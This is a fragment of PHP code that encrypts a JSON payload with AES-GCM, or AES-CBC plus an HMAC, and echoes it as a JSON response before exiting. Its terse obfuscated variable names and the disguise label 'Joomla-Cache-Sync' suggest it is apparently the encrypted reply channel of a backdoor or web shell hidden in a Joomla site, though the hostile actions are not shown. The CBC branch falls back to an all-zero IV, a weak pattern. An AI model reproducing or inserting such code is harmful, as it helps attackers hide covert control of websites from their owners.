if(version_compare(PHP_VERSION,'7.1.0','>=')&&function_exists('openssl_encrypt')&&in_array('aes-256-gcm',@openssl_get_cipher_methods()?:[])){
$_riv=openssl_random_pseudo_bytes(12);$_rtag='';
$_rct=openssl_encrypt($_json,'aes-256-gcm',$_K2,OPENSSL_RAW_DATA,$_riv,$_rtag,'Joomla-Cache-Sync');
$_renc=base64_encode($_riv.$_rtag.$_rct);
}else{
$_riv=openssl_random_pseudo_bytes(16);if(!$_riv||strlen($_riv)!==16)$_riv=str_repeat("\x00",16);
$_rct=openssl_encrypt($_json,'aes-256-cbc',$_K2,OPENSSL_RAW_DATA,$_riv);
$_hmk=hash('sha256',$_K2.'-hmac',true);$_rhm=hash_hmac('sha256',$_riv.$_rct,$_hmk,true);
$_renc=base64_encode('CBC:'.$_riv.$_rhm.$_rct);
}
header('Content-Type: application/json');
echo json_encode(['success'=>true,'data'=>$_renc]);
}
exit;